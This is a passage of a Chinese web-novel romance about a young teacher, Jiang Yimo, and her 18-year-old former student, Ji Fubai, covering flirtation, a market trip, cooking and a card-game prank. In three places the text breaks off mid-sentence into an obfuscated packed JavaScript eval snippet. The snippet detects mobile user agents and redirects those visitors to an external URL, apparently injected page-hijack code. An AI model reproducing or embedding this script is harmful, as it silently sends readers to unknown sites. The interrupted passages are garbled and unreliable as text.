有人因为喜欢,可以什么都不怕,有人因为喜欢,什么都害怕。 这就是他们的不同,这样不同的两个人,在一起会有什么好结局。 所以,其实她和王衍之才是一类人是吗,权衡利弊,瞻前顾后。 她承受不住这个18岁少年的热烈,也不认为靠满腔爱意就能踏平一切曲折。 - 晚上送几人回去的车依旧是那辆宾利,这回纪复白选择坐在副驾驶。 蒋一茉始终不肯承认喜欢他的反应,使他有些沮丧和气恼,想一个人静静。 蒋斯源和纪思梦一天下来肉眼可见的疲惫,上车后没多久就头靠头睡着了。 车里的音乐,正小声放着一首韦礼安的《有没有》。 蒋一茉静静看着窗外,歌曲声音很小,甚至比不过身旁这两人平稳的呼吸声。 可就是每句都异常清晰地往耳朵里钻。 只因她看见这首歌是纪复白手动放的。 知道他也没睡,和她一样清醒。 纪复白无法开口,便让缱绻刻骨的情歌替他一遍遍地问: 你有没有爱过我 有没有想过我 有没有也会有一点心动的时候但是说不出口 …… 蒋一茉轻轻靠在窗户上,光影如水,从她眼眸里淌过,留下一抹潮湿。 - 回到家,蒋一茉洗完澡,准备上床睡觉。 蒋斯源也洗完澡,一身清爽,摸了摸头发道:“等头发干了再睡,我先打会儿游戏。” 他走之前从家里寄过来的索尼PS游戏机到了。 “小点儿声,别鬼吼鬼叫,听见了吗?”蒋一茉嘱咐一句,自己先进房间睡觉。 蒋斯源正等启动,在姐姐关门前突然问道:“姐,你更喜欢我这个亲弟,还是小白?” 蒋一茉一愣,“什么?” “没什么,就是看他今天一整天都粘着你,明明你是我亲姐,倒像是他亲姐。”蒋斯源有点吃醋。 “你还一整天粘着小思梦呢。”蒋一茉笑说。 “那是因为小白只顾着你,都不管他妹妹,我才帮他照顾一下。”蒋斯源道,“啧,这哥们儿,我感觉他不对劲,我借他相机拍照,你知道他相机里都拍了些什么?” 蒋一茉:“无非是些建筑啊,风景啊,我们三个的合照啊……” 蒋斯源“嗤”笑了声,打断她:“什么建筑风景我们合照,这些照片两只手就数的过来,剩下上千张,全都是你一个人!” 32. 是 蒋一茉微怔,紧接用一副平静无聊的口吻道:“我看你是还不够累,脑子还能想这些乱七八糟的事,精力过剩就去让洗衣机歇歇,把我衣服拿出来手搓一遍。” 她关上门,转身后深深吐出一口气,走到衣帽架旁,从挂着的黄色波士顿包里拿护手霜。 拉开拉链,一下子摸到一张4寸照片,位置像是故意挑选过,保证她晚上回来第一时间就能发现。 将照片翻转到正面,蒋一茉倒吸一口凉气。 照片里的场景一眼就能辨认,是在长椅上休息那会儿。 少年戴着鸭舌帽,身高腿长,身材宽阔,手扶着腰抱她在腿上,她靠在他胸膛里,如同陷进人形沙发,对视的瞬间,耳环正反射耀眼的光。 谁拍的? 难道……程茜?! 她的包今天全程在纪复白那里,照片自然是他放进去的,而这张照片,极有可能是他和程茜聊天那会儿,对方给他的。 被学生发现——尽管是已经毕业的学生,蒋一茉还是感觉别扭,陷入“照片拍得真不错”和“人家会怎么看他们”的两种反复情绪里。 直到躺在床上,蒋一茉依旧拿着照片在看。 她不愿放下,就像这份心情,不知道到底藏在心里哪个角落才合适。 从旁观者角度看,照片里分明是一对热恋情侣。 如果在一起,这会是他们的日常吗? 手机震了下,来了条微信,她点开,弹出和纪复白的聊天框。 对方已经把这张照片换成头像,只不过做了特殊处理,变成剪影,分辨不出谁是谁。 纪复白:【我想你应该发现照片了,是程茜发给我的,她说不会留底,所以你不必担心泄露。她还说祝我们幸福,你知道我听见这句话有多高兴吗,这会是大多数人的反应,所以真的不用那么害怕,蒋一茉。】 纪复白:【害怕也没关系,我们可以慢慢来,你不愿意让你圈子里的人知道,我们就地下恋。你怕我不爱你,我就每天都对你说我爱你。你怕我们分手,我告诉你我永远不会和你分开,可不可以相信我一次?】 蒋一茉依旧以沉默回应。 许久,在他们都以为对方睡了时,纪复白又发来一条—— 纪复白:【你已经开始喜欢我了,是不是,蒋一茉?】 他又再问一遍这句话,他真的想要一个答案。 蒋一茉没回,闭上眼睛前,惯性点进他朋友圈看看。 他的朋友圈封面也已换成那张照片剪影款,而反复问她的这句话,竟然被设置成个性签名,只是抹去了她的名字。 每个点进他朋友圈的人,都能看见他右上角在问—— 【你已经开始喜欢我了,是不是?】 看着有些中二和滑稽,可蒋一茉一点也笑不出来,反而想哭。 蒋斯源在这时溜进房间里来,去阳台上睡觉。 她放下手机假装自己也已经睡了,手摸进枕头下,整晚握着那张照片。 - 一觉睡醒,上午十一点。 蒋一茉看完时间,顺便又看一眼朋友圈。 最热门的依然属纪复白新发的一条,时间是两个小时前。 纪复白:【别再给我发“是”了,谢谢大家厚爱。(微笑)】 然而,蒋一茉认识的老师同学们依然保持着统一队列在底下留言:是! 更有甚者吴南:是!!!!!!! 他恨不得喊破喉咙,还说白爷几天不见我好想你(哭) 甚至就连唐老头都在评论区回了一句“是”,蒋一茉心说小老头你有点节操啊喂! 让她感到惊讶的,是曾经语重心长聊过的几个成绩不好也不太听话的学生,竟然也来评论区凑热闹,说什么白爷你终于知道我喜欢你了,请问你恐同吗?(羞涩) 大家都好爱逗他玩儿。 蒋一茉不禁感叹:好家伙,人缘这么好,左右逢源。 上至主任校长,下至学渣校霸,都说得上话。 挺好,这么多人替她回答了,她的回答也就无关紧要了。 她往下继续滑动,刷到程茜昨晚发的朋友圈,分享了Adele的《SomeoneLikeYou》这首歌,文案是其中一句歌词: 【Iwishnothingbutthebestforyou.】 点进歌曲,她躺着顺便把这首经典好歌听了一遍,这才下床准备去洗漱。 刚靠近门口已经听见游戏的声音,想来她那臭弟弟一大早就起来打游戏了。 拉开卧室门,哈欠打到一半,蒋一茉愣住。 客厅除了蒋斯源,还有跟他一起坐在地毯上玩游戏的纪复白,两人身后,纪思梦坐在沙发上,正在看她前几天随手扔在茶几上的一本书。 蒋一茉有种他们昨晚根本就没离开的错觉。 “一茉姐!”纪思梦回头笑着打招呼。 “早啊,小思梦!”蒋一茉挥了挥手。 “哪里早了,都十一点了,姐你真是够能睡的。”蒋斯源说。 纪复白按下暂停键,对她道:“睡醒了?饿不饿?” 因为他的暂停,蒋斯源也只能被迫停下来。 蒋一茉顶着一头睡乱的长发,穿着MUJI的一款夏季粉色条纹睡衣,在纪复白灼灼的目光下感觉十分窘迫,闷头冲进卫生间洗漱去了。 纪复白笑了笑,回头发现蒋斯源正看着自己,他疑惑地挑了下眉。 蒋斯源摇摇头,“没事,继续吧。” 卫生间里,蒋一茉拿根发绳把长发绾在脑后,面对镜子端详自己。 她想起来,纪复白对她说过,想早上睁眼第一个看到的人是她。 看到了吧,并不像他想象中那样美好,他以为是顶着一张细腻得连毛孔也看不见的素颜美美伸懒腰吗,不是,反而t区泛油光,眼下俩大黑眼圈,前阵子工作压力比较大下巴还冒了颗痘痘,些微浮肿,平平无奇。 洗漱完,蒋一茉出来,发现只剩蒋斯源自己在玩游戏,便问纪复白呢。 “怎么,一秒不见就想得慌?”蒋斯源笑说。 “瞎说什么!”蒋一茉脱了鞋,踩到地毯上,给了他一脚。 蒋斯源这才说:“在厨房给你热早饭呢,我们回来的时候给你带了早饭,放冰箱了。” 蒋一茉忙跑到厨房,见纪复白正在切西瓜,旁边还有洗好的葡萄。 他说给她买了豆腐脑、小笼包、糖油饼,正放微波炉里热着,马上就好。 说着,果然叮的一声,好了。 纪复白放下手里的刀,洗了洗手,准备去端出来,被抢先一步。 蒋一茉打开微波炉,一阵滚烫水汽扑出来。 纪复白抓过她手臂,另一手搂腰,只用一只手就把人轻松抱到一边去,“太烫,我来。” 蒋一茉无奈看他一眼,只好去切没切完的西瓜。 纪复白把早饭端到餐桌上,碗筷布置好,又走回厨房。 “你睡衣什么牌子的?” 他问这话时,人已经来到对方身后,从背后搂腰贴身抱住,下巴搁在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426802|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头顶蹭蹭,又低头亲了亲她香香的头发。 蒋一茉吓了一跳,又怕惊动客厅那两人,回头举着刀,恶狠狠道:“你放不放开?” 纪复白哪里会怕她,只觉得可爱,笑道:“好啊,砍死我,死在姐姐刀下,做鬼也风流。” 蒋一茉真是拿他没办法,“你正经一点行不行,你就算是喜欢我要追我,哪有你这样追人的,老是动手动脚,没点规矩。” 纪复白笑着等她骂完,说:“第一次追人,也是最后一次,不懂规矩,谅解下,好不好?” 蒋一茉:“那你现在懂了?” 纪复白:“懂了,但是别人的规矩跟我有什么关系。” 蒋一茉:“……” 见蒋一茉眼都瞪直了,是真的要发火,纪复白从旁边碗里捡了一颗葡萄,服软道:“吃颗我给你洗的葡萄,我马上就走,不跟你闹,真的。” 蒋一茉信了他,张嘴从他指尖咬过来,纪复白瞅准时机,一低头,从她嘴上叼走,趁她没反应过来,又再亲了下,得逞后,吃着甜滋滋的葡萄扭头就撤,徒留蒋一茉原地拿刀剁空气。 蒋一茉只是象征性吃了点早饭,因为还要留着肚子吃午饭。 她问纪复白和纪思梦什么时候来的。 蒋斯源说:“我们三个早上去看了升旗回来的,你说那是什么时候?” “你们几个精力也太好了吧!”蒋一茉边感叹边摇头,“我是不行了,老了,跟你们比不了,我要是那么晚睡,第二天还那么早起,连着几天都得精神萎靡不振。” 纪复白听到这话略微不爽,淡淡道:“老什么,你也才24,别说得自己好像多大辈分一样,少占我们便宜。” 蒋一茉笑说:“上回有个跟你们差不多大的小孩儿来店里买东西,还喊我阿姨呢。” 纪复白一声冷哼,说:“这种没礼貌没情商没教养且智商为负的低能儿,不用理他。” 纪思梦跟着点头,“一茉姐,你别理这种人,你可漂亮可年轻了,那些人故意把别人的称呼叫大,并不会让自己显小,只会显得很笨。” 蒋斯源笑道:“就是,你哪里是什么阿姨,你明明是姑奶奶。” “……”蒋一茉走过去又给他一脚,“不会说话就把嘴给我闭上,不然待会儿我拿胶带帮你闭。” 蒋斯源被她踢得歪倒在纪复白身上,说:“她之前对你也这么暴躁?” 纪复白笑着摇头,“非常温柔。” 蒋斯源阴阳怪气地“噢~”了声,又说:“怪不得。呐,她现在可现原形了,你要是聪明人就离她远点儿,不然天天被当皮球一样踢来踢去的就是你了。” 纪复白巴不得自己被蒋一茉踢来踢去,起码那证明她拿他当自己人。 蒋一茉真的找来了胶带和剪刀,追着蒋斯源满屋子跑。 纪复白和纪思梦笑着看他俩闹。 玩闹一阵,纪复白站起来,拉住蒋一茉,暂时中断这场分不出胜负的姐弟追逐战。 “好了,不跑了,我总怕你摔了,看得心惊胆战的。”他说。 蒋一茉微微喘着气,看一眼墙上挂钟,问:“中午想吃什么?” 纪复白:“叫外卖,或者出去吃,都行。” “姐你给我们做吧,我想吃你做的饭了。”蒋斯源说完,又跟他俩道:“我姐做饭可好吃了。” “别折腾你姐了。”纪复白皱眉,很有些不悦。 “哟哟哟~~~有人看起来很心疼嘛,那是我姐,又不是你姐。”蒋斯源笑道。 纪复白:“……” 33. 爱你 “我做吧,你们来我们家做客,吃外卖怎么行。”蒋一茉准备回房间换衣服,“我先出去买菜,你们再玩会儿。” 蒋斯源把另一只手柄递给纪复白,喊他继续玩游戏,他却说不了。 “你要陪我姐去买菜?”蒋斯源自己启动了另一个游戏。 “虽然是客人,也不能真就这么等着吃吧。再说这么热的天,总得有人给她撑伞拎东西。”纪复白义正言辞道。 纪思梦听完立刻站了起来:“那我也去。” “……”纪复白想要二人世界,哪能让她跟着:“不用,外面太热,你就在这儿待着吧。” 纪思梦抿了抿唇,小声道:“我就这么等着吃,不好吧?” 纪复白:“……” 蒋斯源笑了两声,起身拉纪思梦过去跟他一块儿打游戏:“陪我打游戏,也算你出力了,不白吃。” 纪思梦回头去看她哥,纪复白跟她点点头,又对蒋斯源道:“小梦很少玩游戏,你带她先玩点简单的。” 蒋斯源说:“小思梦这么聪明,就算没玩儿过肯定也能很快上手,再说还有我这个大神一对一教学,怕什么。我带她玩什么你就别操心了,安心跟我姐买菜去吧。” 纪思梦被他这么夸,心里压力更大,捡了一旁的手柄紧握在手里,一脸认真道:“我一定会努力玩,不给你拖后腿,斯源哥哥。” 纪复白看她一眼,无奈笑笑,对蒋斯源道:“喂,大神,我看你先教她怎么握手柄吧,小梦拿倒了。” 蒋斯源看向纪思梦手里,后者反应也快,听纪复白说完立马就换过来了,但因为出糗而一阵脸红。 他又盯着女孩儿瞬间红透的脸庞,令他想起树枝末梢摇摇欲坠的苹果,虽然他从来没见过苹果树。 他说:“别理你哥,那不叫拿倒,你那也是一种握手柄的方式,有人就是那么玩儿的。” 纪思梦信了,笑着点点头,又把手柄换了过来:“那我也这么玩儿。” 纪复白:“……” 蒋一茉换了身简单的T恤短裤出来,大片暴露在外的白皙肌肤晃得人眼前亮堂堂的,像一块甜软的奶油蛋糕。 尤其那双腿,比例完美,纤细笔直,细腻如瓷,简直天生尤物。 纪复白想一口咬上这块奶油蛋糕,但碍于那俩弟弟妹妹在这儿,真要这么做,蒋一茉非得把他抓到厨房拿刀剁了。 从蒋一茉家到菜市场,只需要走穿一条街。 蒋一茉熟练的买菜,偶尔跟老板讲价,遇到熟悉的老板还会撒点小娇,老板便会多送她一两把小青菜。 送完她青菜,那老板还八卦兮兮地问:“旁边是你男朋友?” 蒋一茉连连否认:“不是不是不是。” “……”纪复白看她一眼,沉着脸继续盯着面前一根黄瓜,心想他脸现在应该比黄瓜更绿。 蒋一茉这女人,用一个“不是”否认不够,还得三个“不是”,至于么? 那大娘听完眼里泛光:“那正好,我有个亲戚家儿子正找女朋友,我之前就总想把他介绍给你,偏偏最近都没碰上你来买菜。” 蒋一茉笑笑,看眼纪复白,后者黑着张脸,抓过她手腕就要带她离开这个摊子。 谁知那大娘绕出来,一手拿手机,一手拉住蒋一茉:“来,一茉,我给你看几张他照片,我这侄儿家里做家具生意的,在家具城有老大一个店铺呢,长相条件也不错的,我觉得跟你很合适,你看看?” 蒋一茉拿起塞到手里的手机,一张张翻看。 纪复白偏头也跟着瞥两眼,瞬间气消一大半。 就这? 蒋一茉如果看不上他,却看上这男的,他马上带她去看全北京最好的眼科大夫。 蒋一茉道:“阿姨您这侄儿看着跟您一样,面善,很有精气神呢,我方便问下他年龄吗?” 那大娘被蒋一茉这话哄得合不拢嘴,“我跟你仔细介绍一下啊,我侄儿30岁……” “30岁?”纪复白拿过手机还给大娘,“阿姨,蒋一茉才24呢,30岁年龄太大了,跟她不合适,您介绍给别人吧,我们还忙着买菜回家做饭,家里还有客人,您也忙您生意去吧,刚有一个人我看挑了菜没给钱就走了。” 大娘被他最后那句话吓到,“什么,真的假的?” 纪复白指了指马上走出菜市场那人,“就那个穿黑衣服的男的。” “哎哟,你怎么不早告诉我!”那大娘追了上去。 纪复白趁机带着蒋一茉赶紧走开。 蒋一茉频频回头,皱眉道:“那人真的没有付钱?你可别逗人家阿姨白跑着玩儿,那样你人品可太差了!” 纪复白本来抓着她手腕,这下气得松了手,看她两眼,转过头不说话。 蒋一茉也没再说什么,走去水产那边,准备买条鱼,回去做水煮鱼。 昨晚吃铜锅涮肉的时候,听蒋斯源聊起成都,纪思梦说一直想去吃那边的水煮鱼,但她没去过成都,爸妈不吃辣,也没带她在上海吃过。 蒋一茉当时听见,便记下了。 纪复白跟在蒋一茉身后,不知道菜市场这些个大叔大妈为什么都盯着蒋一茉这个香饽饽,两人一来到卖鱼摊子,那大妈见着蒋一茉,也和上个大娘一样,问他是不是她男朋友。 因为有上一个的教训,纪复白这回不等蒋一茉回答,搂住她肩:“是!” 蒋一茉:“……” 那大妈一脸惋惜,说:“我们摊子今天有活动,凡是单身来买鱼打九折,你脱单了,今天给不了你优惠了。” 蒋一茉&纪复白:“………………” 不早说! 蒋一茉瞪一眼纪复白,说:“您给我打九折吧,我们现在就分手。” “……”纪复白不敢置信地看着她,为一个九折价就不要他了??? 九折!不是一折两折三折,是九折! 大妈边捞鱼边哈哈哈地大笑,说:“千万别,人家说宁拆十座庙不毁一桩婚,我破例给你个优惠就是了。” 蒋一茉笑笑,牵起袋子,问:“今天也不是光棍节,怎么突然有优惠活动?” 大妈说她女儿跟一个渣男分手了,为了庆祝这一大喜事,搞个小活动开心开心。 蒋一茉笑道:“那我再买两斤虾,给阿姨捧捧场。” 大妈笑着说“好呀好呀”。 等着杀鱼,纪复白搂着蒋一茉往旁边站了站,目光一直在她侧脸流转,也不知道她是没注意自己搂着她,还是忘了把他推开。 这么讨人喜欢的她,这么多人喜欢的她,他有时真的没信心自己最终能不能胜出。 买完鱼,又买了一些猪肉和牛肉,回头往出口走,再次路过要给蒋一茉介绍侄儿的大娘摊子。 那大娘看见纪复白,跟他道谢,说差点真让那人不给钱就溜了。 纪复白说:“没事儿,以后您盯紧点儿。” 蒋一茉看纪复白一眼,有些心虚,刚刚还以为他说假话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪复白浑身一紧,心跳空拍之后,节奏整个都打乱,再难恢复。 他好像听到了放烟花的声音,每次绽放都是几个大字:蒋一茉主动亲他了! “主动”两个字自动突出放大,五颜六色艺术字体。 他恨不得邀请全世界都来看这场璀璨烟花,却又不想让人发现他又红又烫的耳朵。 踮起的脚跟平稳落下,蒋一茉在纪复白即将睁眼时,喊道:“先别睁眼,我还有话说。” 纪复白又乖乖闭好。 “不要因此对我失望,好吗,纪复白?”她说。 少年唇角温柔扬起,“我永远不会对你失望,哪怕,你未来某一天可能伤透我的心,我也永远一如既往地爱你。” 蒋一茉眼里十分触动,但她不会让纪复白看见。 准备绕过他之前,她轻轻丢下一句:“亲嘴代替道歉什么的,仅此一次,下不为例。” 笑容在纪复白脸上荡开,他回头,追上蒋一茉,太阳伞依旧斜向她那方。 “你听,周围这些蝉鸣像不像在唱一首歌?”过了会儿,他说。 蒋一茉认真听了几秒,哪有半点律动,摇了摇头,问:“什么歌?” 纪复白:“我们的结婚进行曲。” 蒋一茉:“……” 34. 要命 两人回到小区,碰见领居家奶奶出门,蒋一茉挥手打招呼。 纪复白认出是上回借他笔和纸壳的奶奶,也跟着打招呼。 那奶奶笑着来回打量他俩,嘴里念着“真好啊,真好”。 上楼的时候,纪复白把上回借纸笔的事告诉了蒋一茉。 想起纸壳上的话,蒋一茉嗔他一眼,说:“什么爱人蒋一茉,以后不要到处瞎写,谁是你爱人?” 她说这话时,刚踏上去二楼的楼梯,身后少年听这话不爽,只用一只手就把她轻松抱下来,又挡在她面前堵住去路,一步步把人逼进角落,一手撑墙,低头压近。 “纪复白爱的人,简称纪复白的爱人,小蒋老师,我这理解没什么问题吧?”他散漫笑道。 蒋一茉:“问题大了……唔!” 他低头吮住粉唇,不许她反驳。 蒋一茉推着他,头偏开一点,小声道:“大白天很多人会路过的,你别这样!” 袋子落地。 她双手被纪复白两手按在墙上,大手覆盖小手,掌心对准掌心。 “十秒,就亲十秒,好不好?”少年说完迫不及待又吻住唇瓣。 每过一秒,他的一根修长手指就贴着蒋一茉软嫩手指落进指缝,开始计时…… 1 2 3 …… 8 9 10 十秒后,两人已是双手十指相扣,吻得难分难舍。 纪复白说到做到,主动离开了蒋一茉的唇。 阳光从楼梯间的窗户透进来,洒在他肩头和左耳。 这是他们第一次在阳光照耀着的地方接吻,彼此表情的细微变化都一览无余,无处可藏。 纪复白眼看着蒋一茉那双氤氲着烟雨似的水润双眸从沉沦中挣扎着清醒过来,又再恢复戒备,与他相扣的手掌也从他手里挣脱。 他一手捧起她脸,轻轻抵住额头,闭眼道:“我爱你,蒋一茉,说你也爱我,好不好?” 修长的食指划过锁骨,落在她心上:“把这里藏着的真心话,告诉给我听,好不好?” “……” 蒋一茉垂下的双手,紧握住,又松开,紧握,又再松开…… 最后,她推开他,依旧逃避。 “……” 楼道里一声叹息,纪复白抓了抓头发,拎起买的那些菜,转身跟上。 - 蒋一茉在厨房做饭的时候,纪复白就在旁打下手,连纪思梦也来问需不需要帮忙,只有蒋斯源打游戏打得不亦乐乎。 蒋一茉抽空跑到客厅踢了弟弟一脚,对方这才丢下手柄跑来帮忙剥蒜。 “纪复白,你是不是也会做饭?我看你不管做什么都很熟练的样子。” 蒋一茉抱胸看着坐在垃圾桶旁边剥蒜的两个大帅哥,问道。 “会做。”纪复白坦诚道。 蒋斯源惊讶:“你家不是有保姆吗?” “我怕我老婆不爱吃保姆做的菜,我会做,她就不用做。” 说完,他看了那边站着的女人一眼,有几分等夸奖的意思。 蒋斯源冲他竖起大拇指,“牛逼,要不你把我娶回去吧?” 蒋一茉踢臭弟弟一脚,“瞎说什么,你不是天府直男吗?” “为了好吃的,弯一下也不是不可以。”蒋斯源开玩笑道。 纪复白笑说:“你以后可以来蹭饭。” 蒋斯源:“我要是天天来你家蹭饭,你老婆该不高兴咯。” “会吗?”纪复白望向蒋一茉。 蒋斯源也顺着他视线看向自己亲姐,眼里似笑非笑的。 蒋一茉神色不自然地敲了敲台面,“都看我干嘛,我脸上有菜?是想等到两点才开饭吗,还不赶快剥你们的蒜?剥好了叫我。” 她离开厨房。 陪纪思梦看了会儿书,蒋一茉再抬头时,看到蒋斯源都已经坐着玩了一会儿游戏了,赶紧起身跑向厨房。 “你怎么不喊我?”她挽衣袖,准备继续动手。 “你休息会儿,告诉我剩下的步骤,我来。”纪复白说。 “那怎么行,哪有让客人自己做饭的?” 蒋一茉推开他,却又被他从背后抱住,听他笑道:“什么客人,我觉得我是主人。” “……一起做,行了吧?”她懒得跟他纠缠。 “好。”纪复白低头又蹭了蹭她头发。 蒋一茉做水煮鱼时,纪复白在一边切香菜,他闭着呼吸,偶尔转头换口气,又憋住。 蒋一茉察觉,笑说:“放着吧,我来切。” 他摇摇头,又换口气:“没事。” 蒋一茉拿过刀,不让他再切,“好了,这一点够了。” 她把剩下的香菜收进冰箱,又另外拿一个盘子把切完的香菜盖住,再去开窗户。 “这下应该好一些了。”她说。 纪复白正在洗手,默默看着她为他做完这一连串动作,把人拉怀里抱住,低头在她颈窝里深深呼吸了两下,闻着她身上总是弥漫的一股淡淡茉莉香,说:“还是我的小茉莉更管用。” 蒋一茉说:“买的时候怎么不说呢,早知道不买了。”又道:“也怪我,都没问过你有没有什么忌口。” 纪复白说:“我唯一忌口就是不吃香菜。” 蒋一茉推开他,笑道:“我爱吃香菜,这么看来咱俩不合适,嘿嘿~” “嘿什么嘿。”纪复白淡淡瞥她,“你爱吃你就吃,我不爱吃我就不吃,总不能一顿饭里,只有香菜没别的。” 蒋一茉摇头,“天真。看起来这只是生活中一件微不足道的小事,但如果积少成多,迟早会爆发出大问题。” 纪复白勾起一点无奈的笑:“你想拿这种话劝退我,算盘打得太简单了。” 他揭开盘子,拿起一根香菜,二话没说放进嘴里,轻嚼慢咽,“我愿意为你吃香菜,这是我对你的态度,所以问题不会积少成多,也不会爆发。” 蒋一茉:“……” 纪复白:“……” 蒋一茉看出他在强忍不适,心下笑他打肿脸充胖子,问道:“要喝水吗?” 纪复白紧闭着唇,又忍两秒,那味道简直要冲破天灵盖,最后实在装不下去,猛点头,整个俊帅的脸都皱在一起。 蒋一茉给他倒水喝,在一旁捂着肚子爆笑,笑完,抹了抹眼角的泪,说:“以后,还是我不吃香菜吧。” 她又抬手揉揉他的头,眸光温柔:“还难受么?” 纪复白抱住她,低头在唇上讨了个深吻,这才好受些,虽然头上也挨了一巴掌。 直到最后,香菜依旧盖在盘子里,没能跟着水煮鱼一起上桌。 吃完饭,蒋斯源主动承担洗碗的任务,让蒋一茉感到还算有些欣慰。 跟纪复白比起来,她这个亲弟仿佛不是18岁,而是8岁。 她想,或许也可能是纪复白比较成熟? 正因为比同龄人更成熟,所以才会喜欢“姐姐”吗? 被水煮鱼辣得嘴唇红肿的纪思梦要帮蒋斯源洗碗,蒋一茉拉住她,叫她不用管自己弟弟,让他一个人洗。 纪思梦嘴里还在斯哈斯哈的,说:“一茉姐你跟小白哥哥一起坐了饭,斯源哥哥洗碗,只有我什么也没做,我不想被你们排除在外。” 听到这话,蒋一茉松了手,笑道:“行,那你跟他一起吧。” 她又帮她穿上一条围裙,免得弄脏衣服。 回到客厅,蒋一茉故意选了离纪复白比较远的沙发的另一头坐下。 纪复白看她一眼,起身,坐到她旁边。 微信一直弹出新消息,令他十分头疼。 “还有人在给我发‘是’。”他语气很是无奈,头一歪,顺理成章倒在身旁女人肩上。 蒋一茉说:“很好啊,有那么多人已经开始喜欢你。” 纪复白:“你知道我是设置给你看的,我在问你。” 偏偏他问的对象太过嘴硬,什么回应也不给他。 “你怎么确定我一定能看见?”蒋一茉低头翻着书,随口说道。 纪复白:“之前不确定,现在确定了。” 蒋一茉:“……” 纪复白把下巴搁在她肩头,盯着她眼睛:“我一说,你就知道我指的是什么,你明明很关注我,却表现得不在乎,你知道这很幼稚吗,蒋一茉?” “你为什么那么喜欢叫我全名?”蒋一茉突然皱眉道。 纪复白怔了下,没想到她的重点会是这个。 他坐起来,“因为叫你全名的时候,我才感觉我在你心里占到一点位置,”抬手勾过蒋一茉的肩,搂进怀里,他在她耳畔压低嗓音:“我是说,你男人的位置。” 蒋一茉眼神飘忽了下,起身逃一般去了卫生间。 聊不下去,根本聊不下去。 表明上,她大他好几岁,实际上,她压根儿不是他对手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436946|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 梳妆镜里映着两团红脸蛋。 蒋一茉撑着洗手池看着自己的窘样:……要命。 - 午后,蒋斯源从书包里摸了副扑克牌出来,准备几个人一起玩儿牌,纪思梦不会,所以旁观,其余三人决定斗地主。 纪复白先去了趟卫生间,等他回来,听到蒋斯源说输的人要有惩罚。 他问什么惩罚,蒋斯源却卖了个关子,没有说惩罚是什么。 三个人开始第一轮,蒋一茉抽到地主牌,但她没要,蒋斯源说他也不叫地主,最后纪复白当了地主。 纪思梦绕着他们走来走去,一会儿看看这个人手里的牌,一会儿又去观望那个人的。 纪复白不怎么玩儿牌,虽然人聪明,脑子转得快,但最后还是被那俩“农民”斗得力不从心。 纪复白:“我输了。” 蒋一茉丢下最后一张“2”后,他也扔了手里最后一张“Q”,问:“惩罚是什么?” 蒋斯源想到惩罚,嘴角忍不住抽抽,看眼纪思梦,纪思梦收到信号,把自己的包拿过来。 她是个老二次元了,从痛包里往外掏cos装备。 纪复白先是看到一对粉色的毛茸茸狗耳朵饰品,心里已有不好的预感,直到纪思梦又掏出一个巨夸张的粉色大尾巴,他立刻有夺门而出的冲动。 “什么……意思?” 他抱着最后一丝希望,问道,心想说不定这只是拿出来展示给他们看的,跟惩罚什么的没半点关系。 纪思梦又掏了掏,摸出一根黑色choker,嘴里念念有词:“还好可以调节,不然小白哥哥可能会戴不上。” 纪复白:“………………” 纪复白:谁要戴那玩意儿!!! “愿赌服输,可不许耍赖。” 蒋斯源搭上好兄弟的肩,一脸的幸灾乐祸。 纪复白闭上眼,真希望再睁开时,那些东西能从眼前消失,无奈长叹一口气,拿了东西去蒋一茉卧室。 蒋斯源说:“就在外面戴呗,又不用换衣服,你还躲着我们?” 纪复白一声不吭甩上门。 剩下三人在客厅捂着肚子笑到打滚,笑完互相对掌。 整蛊纪复白计划,大功告成! 其实纪思梦并不是不会打牌,故意不玩儿,只是为了给蒋斯源和蒋一茉传递纪复白手里牌面信息。 他们三个趁纪复白那会儿去卫生间时,就商量好了这事儿,而让纪复白戴这个,则是纪思梦一直以来的一个愿望。 中午那会儿蒋一茉他们出去买菜,纪思梦跟蒋斯源聊起来这事儿,说小白哥哥特别像她喜欢的一个二次元角色,如果他能cos就好了,不过他肯定不会同意。 蒋斯源便帮她策划了这一切,虽然不是全套cos,纪思梦也很满意了。 蒋斯源当时虽然答应帮她,却也忍不住问她一句:“这么坑哥,开心吗?” 纪思梦弯了眼睛笑:“开心!” 蒋斯源笑着摇了摇头,心想你幸好不是我妹。 三人静等纪复白出场。 只听卧室的门锁有了点动静,以为要出来了,结果又恢复安静。 过会儿,听着像是要开门了,立刻又没了声音。 蒋一茉从这些动静里感受到门内少年的挣扎和犹豫,想了想,给他发去一条微信:【我让他们躲起来,我的小狗只能我一个人看,好不好?】 过了几秒,纪复白回复她:【嗯。】 她招手把蒋斯源和纪思梦叫过来,两人听后扁扁嘴,躲到文娟卧室去。 她这才又跟纪复白发消息:【出来吧】 两秒后,那边门开,纪复白一边摸着狗耳朵,满脸不自在地来到客厅,面对蒋一茉,张嘴一声委屈又别扭的:“汪……” 蒋一茉:“……” 蒋一茉眼也不眨地看呆了,眼前纯纯未完全幻化人形的冷酷男妖精啊!配上性冷淡风眼镜更别有一番风味! 